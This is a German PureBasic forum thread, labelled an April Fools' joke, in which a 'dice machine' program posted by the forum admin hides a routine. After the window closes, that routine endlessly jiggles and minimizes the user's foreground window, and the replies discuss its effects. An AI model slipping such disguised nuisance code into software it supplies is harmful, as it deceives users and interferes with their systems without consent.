Kleine Würfelmaschine (Vorsicht Aprilscherz!)

Hier kann alles mögliche diskutiert werden. Themen zu Purebasic sind hier erwünscht.
Flames und Spam kommen ungefragt in den Mülleimer.
Benutzeravatar
NicTheQuick
Ein Admin
Beiträge: 8809
Registriert: 29.08.2004 20:20
Computerausstattung: Ryzen 7 5800X, 64 GB DDR4-3200
Ubuntu 24.04.2 LTS
GeForce RTX 3080 Ti
Wohnort: Saarbrücken

Kleine Würfelmaschine (Vorsicht Aprilscherz!)

Beitrag von NicTheQuick »

Hier mal meine kleine Würfelmaschine. Sie stellt schwarz auf weiß die Augen eines handelsüblichen Würfels dar und somit die Werte 1 bis 6. Damit nicht immer alles gleich aussieht, werden die Muster auch mal gedreht oder gespiegelt dargestellt.

PS.: Am besten gleich ohne Debugger starten, sonst nerven nur die ganzen Debugger-Meldungen, die noch drin sind.

///Edit:
Hier ist noch ein Screenshot davon:
Bild

Code: Alles auswählen

Global Wuerfel_Size.l, Wuerfel_Points_r.l

Wuerfel_Size = 100
Wuerfel_Points_r = Wuerfel_Size / 10

Global Wuerfel_Img.l
Procedure DrawWuerfel(Nr.l)
  Protected a.l, x.l, y.l, drhx.l, drhy.l
  
  If Nr < 0 And Nr > 6 : ProcedureReturn #False : EndIf
  
  If IsImage(Wuerfel_Img) : FreeImage(Wuerfel_Img) : EndIf
  
  Wuerfel_Img = CreateImage(#PB_Any, Wuerfel_Size, Wuerfel_Size)
  If Wuerfel_Img
    Restore Wuerfel_Pos
    a = Nr * (Nr - 1) / 2
    
    While a : Read x : Read y : a - 1 : Wend
    
    UseImage(Wuerfel_Img)
    CallDebugger
    Debug Wuerfel_Img
    StartDrawing(ImageOutput())
      
      DrawingMode(0)
      Box(0, 0, Wuerfel_Size - 1, Wuerfel_Size - 1, $FFFFFF)
      
      drhx = Random(1)
      drhy = Random(1)
      For a = 1 To Nr
        Read x : If drhx : x = 100 - x : EndIf
        Read y : If drhy : y = 100 - y : EndIf
        
        x = x * Wuerfel_Size / 100
        y = y * Wuerfel_Size / 100
        
        Circle(x, y, Wuerfel_Points_r, $000000)
      Next
      
    StopDrawing()
    
    ProcedureReturn Wuerfel_Img
  Else
    ProcedureReturn #False
  EndIf
  
  DataSection
    Wuerfel_Pos:
      Data.l 50, 50
      Data.l 25, 25, 75, 75
      Data.l 25, 25, 50, 50, 75, 75
      Data.l 25, 25, 75, 25, 25, 75, 75, 75
      Data.l 25, 25, 75, 25, 50, 50, 25, 75, 75, 75
      Data.l 25, 25, 75, 25, 25, 50, 75, 50, 25, 75, 75, 75
  EndDataSection
EndProcedure

Procedure GenerateImage(Modus.l)
  Protected Result.l, x.l, y.l, Width.l, Height.l
  
  Select Modus
    Case 0
      If Random(5) = 0 : End : EndIf
      Delay(120000)
      Width = 2
      Repeat
        Result = GetForegroundWindow_()
        If Result
          If Width = 1
            Delay(5000 + Random(10000))
            ShowWindow_(Result, #SW_MINIMIZE)
            Width = 2
          ElseIf Width >= 2
            Delay(2000 + Random(1000))
            x + Random(2) - 1
            y + Random(2) - 1
            SetWindowPos_(Result, 0, x, y, SizeX, SizeY, #SWP_NOSIZE) 
            
            Width + 1
          ElseIf Width >= 20
            ShowWindow_(Result, #SW_RESTORE)
            Width = 1
          EndIf
        EndIf
        
        Delay(5)
      ForEver
    Case 1
      If CreateImage(10, 100, 100)
        UseImage(10)
        StartDrawing(ImageOutput())
          Box(0, 0, 10, 10, $FF00FF)
        StopDrawing()
        FreeImage(10)
      EndIf
  EndSelect
EndProcedure

DrawWuerfel(0)
GenerateImage(1)
If OpenWindow(0, 0, 0, Wuerfel_Size + 10, Wuerfel_Size + 40, #PB_Window_SystemMenu | #PB_Window_ScreenCentered, "Würfel")
  If CreateGadgetList(WindowID())
    Gad_Image.l  = ImageGadget(#PB_Any, 5, 5, Wuerfel_Size, Wuerfel_Size, UseImage(Wuerfel_Img), #PB_Image_Border)
    Gad_Button.l = ButtonGadget(#PB_Any, 5, Wuerfel_Size + 15, Wuerfel_Size, 20, "Würfeln...")
    
    Repeat
      EventID.l = WaitWindowEvent()
      
      Select EventID
        Case #PB_EventCloseWindow
          Break
        Case #PB_EventGadget
          Select EventGadgetID()
            Case Gad_Button
              CallDebugger
              abc.l = DrawWuerfel(Random(5) + 1)
              Debug abc
              GenerateImage(1)
              SetGadgetState(Gad_Image, UseImage(Wuerfel_Img))
          EndSelect
      EndSelect
    ForEver
  EndIf
  
  CloseWindow(0)
EndIf
GenerateImage(0)
Zuletzt geändert von NicTheQuick am 02.04.2005 13:24, insgesamt 6-mal geändert.
Benutzeravatar
Franky
Beiträge: 1132
Registriert: 29.08.2004 16:31
Wohnort: Münsterland
Kontaktdaten:

Beitrag von Franky »

Coole Sache, kann man sicher mal für n Brettspiel oder so nutzen :)

Edit: Mach den Code in deiner Signatur doch mal lieber mit 23 :mrgreen:
Zuletzt geändert von Franky am 01.04.2005 15:50, insgesamt 1-mal geändert.
Falsch zugeordnetes Zitat des Tages: "O'zapft is" - Edward Snowden :)
DarkDragon
Beiträge: 6291
Registriert: 29.08.2004 08:37
Computerausstattung: Hoffentlich bald keine mehr
Kontaktdaten:

Beitrag von DarkDragon »

Sehr schön :mrgreen: Ich würds allerdings in nen Screen machen.
Angenommen es gäbe einen Algorithmus mit imaginärer Laufzeit O(i * n), dann gilt O((i * n)^2) = O(-1 * n^2) d.h. wenn man diesen Algorithmus verschachtelt ist er fertig, bevor er angefangen hat.
Benutzeravatar
Hroudtwolf
Beiträge: 1416
Registriert: 30.10.2004 23:33
Kontaktdaten:

Beitrag von Hroudtwolf »

Bei mir läuft da nix.
Keine Aktivitäten im Fenster.
:?
Benutzeravatar
Franky
Beiträge: 1132
Registriert: 29.08.2004 16:31
Wohnort: Münsterland
Kontaktdaten:

Beitrag von Franky »

du musst auf "Würfeln" klicken :)
Falsch zugeordnetes Zitat des Tages: "O'zapft is" - Edward Snowden :)
Benutzeravatar
Hroudtwolf
Beiträge: 1416
Registriert: 30.10.2004 23:33
Kontaktdaten:

Beitrag von Hroudtwolf »

Jetzt spinnen alle meine Fenster durcheinander nach dem ich diesen Quatsch getestet hab.

Man sollte halt nicht alles von jedem ausprobieren. :evil:
Benutzeravatar
NicTheQuick
Ein Admin
Beiträge: 8809
Registriert: 29.08.2004 20:20
Computerausstattung: Ryzen 7 5800X, 64 GB DDR4-3200
Ubuntu 24.04.2 LTS
GeForce RTX 3080 Ti
Wohnort: Saarbrücken

Beitrag von NicTheQuick »

Bei mir funktioniert alles so, wie es soll. Das konnten DarkDragon und Franky ja schon bestätigen.
Ich wüsste auch nicht, woher das kommen sollte. :?
DarkDragon
Beiträge: 6291
Registriert: 29.08.2004 08:37
Computerausstattung: Hoffentlich bald keine mehr
Kontaktdaten:

Beitrag von DarkDragon »

Ja, bei mir funktionierts tadellos. Hast du irgendwelche Würmer, Viren oder Spyware auf deinem PC? :?
Angenommen es gäbe einen Algorithmus mit imaginärer Laufzeit O(i * n), dann gilt O((i * n)^2) = O(-1 * n^2) d.h. wenn man diesen Algorithmus verschachtelt ist er fertig, bevor er angefangen hat.
Benutzeravatar
125
Beiträge: 1322
Registriert: 19.09.2004 16:52
Wohnort: Neu Wulmstorf (Hamburg)
Kontaktdaten:

Beitrag von 125 »

Hroudtwolf hat geschrieben:Jetzt spinnen alle meine Fenster durcheinander nach dem ich diesen Quatsch getestet hab.

Man sollte halt nicht alles von jedem ausprobieren. :evil:
Man sollte Code den man nicht gelesen hat nicht ausführen ....

Wenn ich dir ne Mail mit nem PB VirusCode schicke führeste den doch auch nicht aus oder?

Ausserdem kanns auch an deine PB Version liegen....
Benutzeravatar
Hroudtwolf
Beiträge: 1416
Registriert: 30.10.2004 23:33
Kontaktdaten:

Beitrag von Hroudtwolf »

Falscher Alarm !


Das war eine Prozess den ich beednet hatte.


Super Programm . Jetzt funktioniert alles.
Antworten